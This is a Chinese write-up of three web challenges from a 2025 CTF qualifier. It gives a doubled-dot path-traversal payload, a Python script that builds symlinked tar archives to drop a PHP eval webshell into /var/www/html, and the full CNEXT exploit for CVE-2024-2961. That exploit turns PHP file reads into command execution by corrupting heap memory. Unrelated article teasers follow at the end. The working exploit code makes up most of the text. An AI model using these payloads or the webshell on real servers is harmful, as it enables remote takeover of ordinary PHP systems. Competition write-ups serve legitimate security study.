第五届“长城杯”初赛 2025 Web WP 全

第五届“长城杯”初赛 2025 Web WP 全

文曲签学

上来给了一个 寻词器 的页面,然后根据提示 要进入调试模式

查看网页源码, 看到 通过长按Fn即可进入调试模式

image-20250914205917078

进入调试模式

根据页面提示, 输入

#help,查看可以执行的指令

image-20250914205953196

#list 查看笔记列表 (为了方便输入指令,后续就直接在BP中操作了)

看到 提示 flag在根目录下.

image-20250914210125723

#about 提示要关注公众号

双写绕过的,目录穿越读取flag

image-20250914210228257

#read ....//....//....//....//flag

成功获取flag.

image-20250914210325269

EZ_upload

是一道文件上传题目, 网站只有一个文件上传点.任意上传一个文件后显示了源码.

image-20250914210440329

接受 文件后,对文件名做了简单的过滤. 然后把文件保存在了/tmp目录下,并且对文件执行了tar解包的操作.

文件上传,一般就是要写入 webshell. 但是文件都保存在了/tmp下,所以我们要想办法修改文件的保存位置.

题目隐藏知识

关键点:tar 解压符号链接时,默认会保留符号链接(不会跟随链接写入)

关键点:tar 默认在解压文件时,如果路径中包含符号链接目录,会“跟随”符号链接,把文件写入到符号链接指向的真实目录

这个时候就可以利用 tar解包 + 符号链接 来修改文件保存位置.

(符号链接类似快捷方式)

step1:

  • /tmp 目录下创建一个符号链接文件 my_link
  • 该符号链接指向目标 Web 目录:/var/www/html
  • 解压后,/tmp/my_link 就等价于 /var/www/html

step2:

  • 创建webshell文件的tar包
  • 路径设置为 my_link/myshell.php
  • 当服务器在/tmp解压时:
    • 会尝试把文件写入 /tmp/my_link/myshell.php
    • 由于 my_link 是指向 /var/www/html 的符号链接
    • 实际写入位置是 → /var/www/html/myshell.php

实现了写入webshell的操作

生成的tar的方法,可以在自己的Linux 上 等效目录上创建对应的链接然后压缩 为tar包上传.

这里给出了AI写的python生成脚本:

poc

import os import tarfile from io import BytesIO ​ # === 参数设定区 === payload_data = b'<?php phpinfo();@eval($_POST["fly233"]); ?>' payload_filename = "myshell.php" ​ # 符号链接配置 link_alias = "my_link" destination_path = "/var/www/html" ​ # === 核心逻辑区 === ​ # 构建符号链接 tar 包 with tarfile.open("step1.tar", mode="w") as archive:    link_entry = tarfile.TarInfo(name=link_alias)    link_entry.type = tarfile.SYMTYPE    link_entry.linkname = destination_path    archive.addfile(link_entry) ​ print("✔ step1.tar 生成完毕") ​ # 利用前面创建的符号链接路径构造写入目标 target_in_archive = os.path.join(link_alias, payload_filename) ​ # 构建包含 Webshell 的 tar 包 with tarfile.open("step2.tar", mode="w") as archive:    file_entry = tarfile.TarInfo(name=target_in_archive)    file_entry.size = len(payload_data)    archive.addfile(file_entry, BytesIO(payload_data)) ​ print("✔ step2.tar 生成完毕") ​

然后按照顺序,先上传step1.tar 然后上传step2.tar. webshell 就会创建成功.

特别注意

需要在目标对应的操作系统上运行, 可能是内部tar机制不同. 在windows上运行生成的tar包可能达不到预期效果.

在根目录拿到flag

image-20250914212233055

SeRce

非常经典的LFI 到 RCE的实现. CVE-2024-2961漏洞.

详细请看其他师傅的介绍. 文章链接

针对这道题,这里只写具体的操作步骤.

首先去github上下载exp脚本. 脚本链接

因为脚本比较长,文章末尾会给出这道题对应的修改好的脚本代码.

需要进行修改的地方有:

  • url部分, 而且因为这道题需要传入exp参数,所以 要写全.http://url/?exp=1 (任意值即可,只需要序列化还原值不变即可.)
  • 文件包含的路径参数. 这道题和脚本都是POST传参,所以方法不需要修改,只需要把参数名字改为 filetoread
  • 文件包含内容返回值的正则匹配. 这道题和脚本也一样都是 File Contents: 后边的内容
  • 你要执行的命令

大概都在文件开头的位置:

image-20250914213214144

然后就可以实现RCE,通过重定向命令结果到文件,然后通过普通的文件包含读取执行结果.

跑通一次之后,后边只需要 每次改动命令就行了.

image-20250914213325205

执行 ls /后发现,根目录下有 readflag脚本.

image-20250914213436078

然后就是 执行 readflag. 拿到flag.

image-20250914213443628

本题脚本

#!/usr/bin/env python3 # # CNEXT: PHP file-read to RCE (CVE-2024-2961) # Date: 2024-05-27 # Author: Charles FOL @cfreal_ (LEXFO/AMBIONICS) # # TODO Parse LIBC to know if patched # # INFORMATIONS # # To use, implement the Remote class, which tells the exploit how to send the payload. # from __future__ import annotations import base64 import zlib from dataclasses import dataclass from requests.exceptions import ConnectionError, ChunkedEncodingError from pwn import * from pwn import ELF from ten import * HEAP_SIZE = 2 * 1024 * 1024 BUG = "劄".encode("utf-8") class Remote: """A helper class to send the payload and download files. The logic of the exploit is always the same, but the exploit needs to know how to download files (/proc/self/maps and libc) and how to send the payload. The code here serves as an example that attacks a page that looks like: ```php <?php $data = file_get_contents($_POST['file']); echo "File contents: $data"; ``` Tweak it to fit your target, and start the exploit. """ def __init__(self, url: str) -> None: self.url = url self.session = Session() def send(self, path: str) -> Response: """Sends given `path` to the HTTP server. Returns the response. """ return self.session.post(self.url, data={"filetoread": path}) def download(self, path: str) -> bytes: """Returns the contents of a remote file. """ path = f"php://filter/convert.base64-encode/resource={path}" response = self.send(path) data = response.re.search(b"File Contents: (.*)", flags=re.S).group(1) return base64.decode(data) @entry @arg("url", "Target URL") @arg("command", "Command to run on the system; limited to 0x140 bytes") @arg("sleep", "Time to sleep to assert that the exploit worked. By default, 1.") @arg("heap", "Address of the main zend_mm_heap structure.") @arg( "pad", "Number of 0x100 chunks to pad with. If the website makes a lot of heap " "operations with this size, increase this. Defaults to 20.", ) @dataclass class Exploit: """CNEXT exploit: RCE using a file read primitive in PHP.""" url: str="https://eci-2zeet6r5ki0tcx91i38i.cloudeci1.ichunqiu.com:80/?exp=1" command: str = "/readflag > /tmp/flag" sleep: int = 1 heap: str = None pad: int = 20 def __post_init__(self): self.remote = Remote(self.url) self.log = logger("EXPLOIT") self.info = {} self.heap = self.heap and int(self.heap, 16) def check_vulnerable(self) -> None: """Checks whether the target is reachable and properly allows for the various wrappers and filters that the exploit needs. """ def safe_download(path: str) -> bytes: try: return self.remote.download(path) except ConnectionError: failure("Target not [b]reachable[/] ?") def check_token(text: str, path: str) -> bool: result = safe_download(path) return text.encode() == result text = tf.random.string(50).encode() base64 = b64(text, misalign=True).decode() path = f"data:text/plain;base64,{base64}" result = safe_download(path) if text not in result: msg_failure("Remote.download did not return the test string") print("--------------------") print(f"Expected test string: {text}") print(f"Got: {result}") print("--------------------") failure("If your code works fine, it means that the [i]data://[/] wrapper does not work") msg_info("The [i]data://[/] wrapper works") text = tf.random.string(50) base64 = b64(text.encode(), misalign=True).decode() path = f"php://filter//resource=data:text/plain;base64,{base64}" if not check_token(text, path): failure("The [i]php://filter/[/] wrapper does not work") msg_info("The [i]php://filter/[/] wrapper works") text = tf.random.string(50) base64 = b64(compress(text.encode()), misalign=True).decode() path = f"php://filter/zlib.inflate/resource=data:text/plain;base64,{base64}" if not check_token(text, path): failure("The [i]zlib[/] extension is not enabled") msg_info("The [i]zlib[/] extension is enabled") msg_success("Exploit preconditions are satisfied") def get_file(self, path: str) -> bytes: with msg_status(f"Downloading [i]{path}[/]..."): return self.remote.download(path) def get_regions(self) -> list[Region]: """Obtains the memory regions of the PHP process by querying /proc/self/maps.""" maps = self.get_file("/proc/self/maps") maps = maps.decode() PATTERN = re.compile( r"^([a-f0-9]+)-([a-f0-9]+)\b" r".*" r"\s([-rwx]{3}[ps])\s" r"(.*)" ) regions = [] for region in table.split(maps, strip=True): if match := PATTERN.match(region): start = int(match.group(1), 16) stop = int(match.group(2), 16) permissions = match.group(3) path = match.group(4) if "/" in path or "[" in path: path = path.rsplit(" ", 1)[-1] else: current = Region(start, stop, permissions, path) regions.append(current) else: print(maps) failure("Unable to parse memory mappings") self.log.info(f"Got {len(regions)} memory regions") return regions def get_symbols_and_addresses(self) -> None: """Obtains useful symbols and addresses from the file read primitive.""" regions = self.get_regions() LIBC_FILE = "/dev/shm/cnext-libc" # PHP's heap self.info["heap"] = self.heap or self.find_main_heap(regions) # Libc libc = self._get_region(regions, "libc-", "libc.so") self.download_file(libc.path, LIBC_FILE) self.info["libc"] = ELF(LIBC_FILE, checksec=False) self.info["libc"].address = libc.start def _get_region(self, regions: list[Region], *names: str) -> Region: """Returns the first region whose name matches one of the given names.""" for region in regions: if any(name in region.path for name in names): break else: failure("Unable to locate region") return region def download_file(self, remote_path: str, local_path: str) -> None: """Downloads `remote_path` to `local_path`""" data = self.get_file(remote_path) Path(local_path).write(data) def find_main_heap(self, regions: list[Region]) -> Region: # Any anonymous RW region with a size superior to the base heap size is a # candidate. The heap is at the bottom of the region. heaps = [ region.stop - HEAP_SIZE + 0x40 for region in reversed(regions) if region.permissions == "rw-p" and region.size >= HEAP_SIZE and region.stop & (HEAP_SIZE-1) == 0 and region.path in ("", "[anon:zend_alloc]") ] if not heaps: failure("Unable to find PHP's main heap in memory") first = heaps[0] if len(heaps) > 1: heaps = ", ".join(map(hex, heaps)) msg_info(f"Potential heaps: [i]{heaps}[/] (using first)") else: msg_info(f"Using [i]{hex(first)}[/] as heap") return first def run(self) -> None: self.check_vulnerable() self.get_symbols_and_addresses() self.exploit() def build_exploit_path(self) -> str: """On each step of the exploit, a filter will process each chunk one after the other. Processing generally involves making some kind of operation either on the chunk or in a destination chunk of the same size. Each operation is applied on every single chunk; you cannot make PHP apply iconv on the first 10 chunks and leave the rest in place. That's where the difficulties come from. Keep in mind that we know the address of the main heap, and the libraries. ASLR/PIE do not matter here. The idea is to use the bug to make the freelist for chunks of size 0x100 point lower. For instance, we have the following free list: ... -> 0x7fffAABBCC900 -> 0x7fffAABBCCA00 -> 0x7fffAABBCCB00 By triggering the bug from chunk ..900, we get: ... -> 0x7fffAABBCCA00 -> 0x7fffAABBCCB48 -> ??? That's step 3. Now, in order to control the free list, and make it point whereever we want, we need to have previously put a pointer at address 0x7fffAABBCCB48. To do so, we'd have to have allocated 0x7fffAABBCCB00 and set our pointer at offset 0x48. That's step 2. Now, if we were to perform step2 an then step3 without anything else, we'd have a problem: after step2 has been processed, the free list goes bottom-up, like: 0x7fffAABBCCB00 -> 0x7fffAABBCCA00 -> 0x7fffAABBCC900 We need to go the other way around. That's why we have step 1: it just allocates chunks. When they get freed, they reverse the free list. Now step2 allocates in reverse order, and therefore after step2, chunks are in the correct order. Another problem comes up. To trigger the overflow in step3, we convert from UTF-8 to ISO-2022-CN-EXT. Since step2 creates chunks that contain pointers and pointers are generally not UTF-8, we cannot afford to have that conversion happen on the chunks of step2. To avoid this, we put the chunks in step2 at the very end of the chain, and prefix them with `0\n`. When dechunked (right before the iconv), they will "disappear" from the chain, preserving them from the character set conversion and saving us from an unwanted processing error that would stop the processing chain. After step3 we have a corrupted freelist with an arbitrary pointer into it. We don't know the precise layout of the heap, but we know that at the top of the heap resides a zend_mm_heap structure. We overwrite this structure in two ways. Its free_slot[] array contains a pointer to each free list. By overwriting it, we can make PHP allocate chunks whereever we want. In addition, its custom_heap field contains pointers to hook functions for emalloc, efree, and erealloc (similarly to malloc_hook, free_hook, etc. in the libc). We overwrite them and then overwrite the use_custom_heap flag to make PHP use these function pointers instead. We can now do our favorite CTF technique and get a call to system(<chunk>). We make sure that the "system" command kills the current process to avoid other system() calls with random chunk data, leading to undefined behaviour. The pad blocks just "pad" our allocations so that even if the heap of the process is in a random state, we still get contiguous, in order chunks for our exploit. Therefore, the whole process described here CANNOT crash. Everything falls perfectly in place, and nothing can get in the middle of our allocations. """ LIBC = self.info["libc"] ADDR_EMALLOC = LIBC.symbols["__libc_malloc"] ADDR_EFREE = LIBC.symbols["__libc_system"] ADDR_EREALLOC = LIBC.symbols["__libc_realloc"] ADDR_HEAP = self.info["heap"] ADDR_FREE_SLOT = ADDR_HEAP + 0x20 ADDR_CUSTOM_HEAP = ADDR_HEAP + 0x0168 ADDR_FAKE_BIN = ADDR_FREE_SLOT - 0x10 CS = 0x100 # Pad needs to stay at size 0x100 at every step pad_size = CS - 0x18 pad = b"\x00" * pad_size pad = chunked_chunk(pad, len(pad) + 6) pad = chunked_chunk(pad, len(pad) + 6) pad = chunked_chunk(pad, len(pad) + 6) pad = compressed_bucket(pad) step1_size = 1 step1 = b"\x00" * step1_size step1 = chunked_chunk(step1) step1 = chunked_chunk(step1) step1 = chunked_chunk(step1, CS) step1 = compressed_bucket(step1) # Since these chunks contain non-UTF-8 chars, we cannot let it get converted to # ISO-2022-CN-EXT. We add a `0\n` that makes the 4th and last dechunk "crash" step2_size = 0x48 step2 = b"\x00" * (step2_size + 8) step2 = chunked_chunk(step2, CS) step2 = chunked_chunk(step2) step2 = compressed_bucket(step2) step2_write_ptr = b"0\n".ljust(step2_size, b"\x00") + p64(ADDR_FAKE_BIN) step2_write_ptr = chunked_chunk(step2_write_ptr, CS) step2_write_ptr = chunked_chunk(step2_write_ptr) step2_write_ptr = compressed_bucket(step2_write_ptr) step3_size = CS step3 = b"\x00" * step3_size assert len(step3) == CS step3 = chunked_chunk(step3) step3 = chunked_chunk(step3) step3 = chunked_chunk(step3) step3 = compressed_bucket(step3) step3_overflow = b"\x00" * (step3_size - len(BUG)) + BUG assert len(step3_overflow) == CS step3_overflow = chunked_chunk(step3_overflow) step3_overflow = chunked_chunk(step3_overflow) step3_overflow = chunked_chunk(step3_overflow) step3_overflow = compressed_bucket(step3_overflow) step4_size = CS step4 = b"=00" + b"\x00" * (step4_size - 1) step4 = chunked_chunk(step4) step4 = chunked_chunk(step4) step4 = chunked_chunk(step4) step4 = compressed_bucket(step4) # This chunk will eventually overwrite mm_heap->free_slot # it is actually allocated 0x10 bytes BEFORE it, thus the two filler values step4_pwn = ptr_bucket( 0x200000, 0, # free_slot 0, 0, ADDR_CUSTOM_HEAP, # 0x18 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, ADDR_HEAP, # 0x140 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, size=CS, ) step4_custom_heap = ptr_bucket( ADDR_EMALLOC, ADDR_EFREE, ADDR_EREALLOC, size=0x18 ) step4_use_custom_heap_size = 0x140 COMMAND = self.command COMMAND = f"kill -9 $PPID; {COMMAND}" if self.sleep: COMMAND = f"sleep {self.sleep}; {COMMAND}" COMMAND = COMMAND.encode() + b"\x00" assert ( len(COMMAND) <= step4_use_custom_heap_size ), f"Command too big ({len(COMMAND)}), it must be strictly inferior to {hex(step4_use_custom_heap_size)}" COMMAND = COMMAND.ljust(step4_use_custom_heap_size, b"\x00") step4_use_custom_heap = COMMAND step4_use_custom_heap = qpe(step4_use_custom_heap) step4_use_custom_heap = chunked_chunk(step4_use_custom_heap) step4_use_custom_heap = chunked_chunk(step4_use_custom_heap) step4_use_custom_heap = chunked_chunk(step4_use_custom_heap) step4_use_custom_heap = compressed_bucket(step4_use_custom_heap) pages = ( step4 * 3 + step4_pwn + step4_custom_heap + step4_use_custom_heap + step3_overflow + pad * self.pad + step1 * 3 + step2_write_ptr + step2 * 2 ) resource = compress(compress(pages)) resource = b64(resource) resource = f"data:text/plain;base64,{resource.decode()}" filters = [ # Create buckets "zlib.inflate", "zlib.inflate", # Step 0: Setup heap "dechunk", "convert.iconv.L1.L1", # Step 1: Reverse FL order "dechunk", "convert.iconv.L1.L1", # Step 2: Put fake pointer and make FL order back to normal "dechunk", "convert.iconv.L1.L1", # Step 3: Trigger overflow "dechunk", "convert.iconv.UTF-8.ISO-2022-CN-EXT", # Step 4: Allocate at arbitrary address and change zend_mm_heap "convert.quoted-printable-decode", "convert.iconv.L1.L1", ] filters = "|".join(filters) path = f"php://filter/read={filters}/resource={resource}" return path @inform("Triggering...") def exploit(self) -> None: path = self.build_exploit_path() start = time.time() try: self.remote.send(path) except (ConnectionError, ChunkedEncodingError): pass msg_print() if not self.sleep: msg_print(" [b white on black] EXPLOIT [/][b white on green] SUCCESS [/] [i](probably)[/]") elif start + self.sleep <= time.time(): msg_print(" [b white on black] EXPLOIT [/][b white on green] SUCCESS [/]") else: # Wrong heap, maybe? If the exploited suggested others, use them! msg_print(" [b white on black] EXPLOIT [/][b white on red] FAILURE [/]") msg_print() def compress(data) -> bytes: """Returns data suitable for `zlib.inflate`. """ # Remove 2-byte header and 4-byte checksum return zlib.compress(data, 9)[2:-4] def b64(data: bytes, misalign=True) -> bytes: payload = base64.encode(data) if not misalign and payload.endswith("="): raise ValueError(f"Misaligned: {data}") return payload.encode() def compressed_bucket(data: bytes) -> bytes: """Returns a chunk of size 0x8000 that, when dechunked, returns the data.""" return chunked_chunk(data, 0x8000) def qpe(data: bytes) -> bytes: """Emulates quoted-printable-encode. """ return "".join(f"={x:02x}" for x in data).upper().encode() def ptr_bucket(*ptrs, size=None) -> bytes: """Creates a 0x8000 chunk that reveals pointers after every step has been ran.""" if size is not None: assert len(ptrs) * 8 == size bucket = b"".join(map(p64, ptrs)) bucket = qpe(bucket) bucket = chunked_chunk(bucket) bucket = chunked_chunk(bucket) bucket = chunked_chunk(bucket) bucket = compressed_bucket(bucket) return bucket def chunked_chunk(data: bytes, size: int = None) -> bytes: """Constructs a chunked representation of the given chunk. If size is given, the chunked representation has size `size`. For instance, `ABCD` with size 10 becomes: `0004\nABCD\n`. """ # The caller does not care about the size: let's just add 8, which is more than # enough if size is None: size = len(data) + 8 keep = len(data) + len(b"\n\n") size = f"{len(data):x}".rjust(size - keep, "0") return size.encode() + b"\n" + data + b"\n" @dataclass class Region: """A memory region.""" start: int stop: int permissions: str path: str @property def size(self) -> int: return self.stop - self.start Exploit() 

Read more

PPO-VLA:强化学习如何让机器人“看得更懂、抓得更准”?

PPO-VLA:强化学习如何让机器人“看得更懂、抓得更准”?

一项来自清华大学的实证研究表明,相比传统的监督微调,使用PPO算法进行强化学习微调,能使VLA模型在语义理解和执行鲁棒性方面的分布外泛化能力提升高达42.6%。 论文:What Can RL Bring to VLA Generalization? An Empirical Study 链接:https://arxiv.org/abs/2505.19789 代码:https://rlvla.github.io 想象一下,你让一个家用机器人“把桌上的苹果放进碗里”。在实验室里,它可能完成得很好。但一旦进入你家,面对从未见过的餐桌纹理、一个形状奇特的“碗”、或者在你下达指令时苹果被意外碰歪了位置,它还能顺利完成吗? 这正是当前VLA模型面临的泛化挑战。这类模型通过整合视觉感知、语言理解和机器人控制,已成为具身人工智能领域的明星。然而,其主流训练方法——监督微调,本质上是在模仿专家演示数据。当环境稍有变化,微小的误差便会累积,导致机器人“

5分钟搞定!ComfyUI Photoshop插件终极安装指南:让AI绘画直接在PS中完成

5分钟搞定!ComfyUI Photoshop插件终极安装指南:让AI绘画直接在PS中完成 【免费下载链接】Comfy-Photoshop-SDDownload this extension via the ComfyUI manager to establish a connection between ComfyUI and the Auto-Photoshop-SD plugin in Photoshop. https://github.com/AbdullahAlfaraj/Auto-Photoshop-StableDiffusion-Plugin 项目地址: https://gitcode.com/gh_mirrors/co/Comfy-Photoshop-SD 还在为AI绘画的繁琐流程而烦恼吗?每次都要在Photoshop和AI软件之间来回切换,不仅效率低下,还容易打断创作灵感。ComfyUI Photoshop插件完美解决了这一痛点,让你在熟悉的Photoshop环境中直接使用强大的AI功能,实现无缝创作体验。 🎯 为什么你需要ComfyUI Photoshop

宇树科技机器人核心技术

宇树科技机器人核心技术

前言 宇树科技作为全球足式/人形机器人领域的标杆企业,其技术体系覆盖消费级(Go2)、工业级(B2)、人形(G1/H1)全产品线,以“硬件自研+软件全栈+AI赋能”构建核心壁垒。本文不仅拆解宇树机器人的关键技术(单硬件、单软件、软硬件协同、AI+),还配套就业技能图谱、学习路线与工具推荐,适合机械、电子、计算机、AI领域开发者/求职者参考。 一、宇树科技机器人核心技术全景(附插图建议) 宇树的技术体系可概括为“四层金字塔结构”,从下到上实现“能运动→会运动→智能运动”的进阶: 技术层级核心定位代表技术应用价值底层硬件机器人“躯体骨架”自研伺服电机、分层计算平台、4D激光雷达保障运动性能与环境适配性全栈软件机器人“智慧大脑”MPC/WBC控制算法、SLAM感知融合、ROS2中间件实现精准控制与灵活交互软硬件协同机器人“神经中枢”实时控制闭环、

Gemini 全能 QQ 机器人部署手册 (V1.0 Release)

Gemini 全能 QQ 机器人部署手册 (V1.0 Release) 核心架构:OneBot V11 (NapCat) + NoneBot2 + Gemini Flash 适用系统:Ubuntu 22.04 LTS (阿里云/腾讯云) 🟢 第一阶段:基础设施准备 SSH 连接服务器后,复制以下命令执行。 安装必要软件 (Docker + Python) # 更新软件源sudoapt update &&sudoapt upgrade -y# 安装 Dockercurl-fsSL https://get.docker.com |bash# 安装 Python3 及虚拟环境工具sudoaptinstall python3-pip python3-venv -y# 创建项目文件夹mkdir-p